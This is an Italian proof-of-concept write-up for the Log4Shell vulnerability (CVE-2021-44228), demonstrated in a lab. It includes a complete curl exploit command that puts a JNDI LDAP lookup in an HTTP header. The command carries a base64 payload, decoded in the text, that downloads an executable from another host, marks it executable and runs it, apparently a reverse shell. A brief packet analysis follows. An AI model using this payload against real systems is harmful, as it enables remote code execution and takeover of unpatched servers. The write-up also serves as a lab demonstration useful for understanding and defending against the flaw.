
Proof-of-concept per Log4Shell (CVE-2021-44228) che dimostra l'esecuzione remota di codice tramite iniezione JNDI, inclusa la configurazione del server vulnerabile, il comando di exploit e l'analisi dei pacchetti.
Log4Shell — noto anche come CVE-2021-44228 — è una vulnerabilità critica che consente l'esecuzione remota di codice nei sistemi che utilizzano Log4j della Apache Foundation, una libreria Java open-source ampiamente utilizzata in prodotti software commerciali e open-source e utility.

Analisi del POC
Il server vulnerabile è in esecuzione sulla porta 8080

E il server ldap è in esecuzione su due porte: http 8888 e ldap 1389

COMANDO EXPLOIT
curl 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==}'
{
172.17.0.2:8080 -- IP del server vulnerabile
172.17.0.1:1389 -- IP del server LDAP
Base64 -- d2dldCBodHRwczovLzEwLjAuMi4xNTo4MDAwL3JldiAtTyAvdG1wL3JldiAmJiBjaG1vZCAreCAvdG1wL3JldiAmJiAvdG1wL3Jldg==
Comando decifrato - wget https://10.0.2.15:8000/rev -O /tmp/rev && chmod +x /tmp/rev && /tmp/rev
}
ANALISI DEI PACCHETTI


COME POSSIAMO VEDERE NEI PACCHETTI, IL SERVER STA INVIANDO UNA RICHIESTA GET PER UNA CLASSE AL SERVER LDAP; SE CONTROLLIAMO LA CLASSE EXPLOIT, POSSIAMO VEDERE CHE IL SERVER LDAP STA INVIANDO IL COMANDO DECIFRATO NELLA CLASSE EXPLOIT.

Riferimenti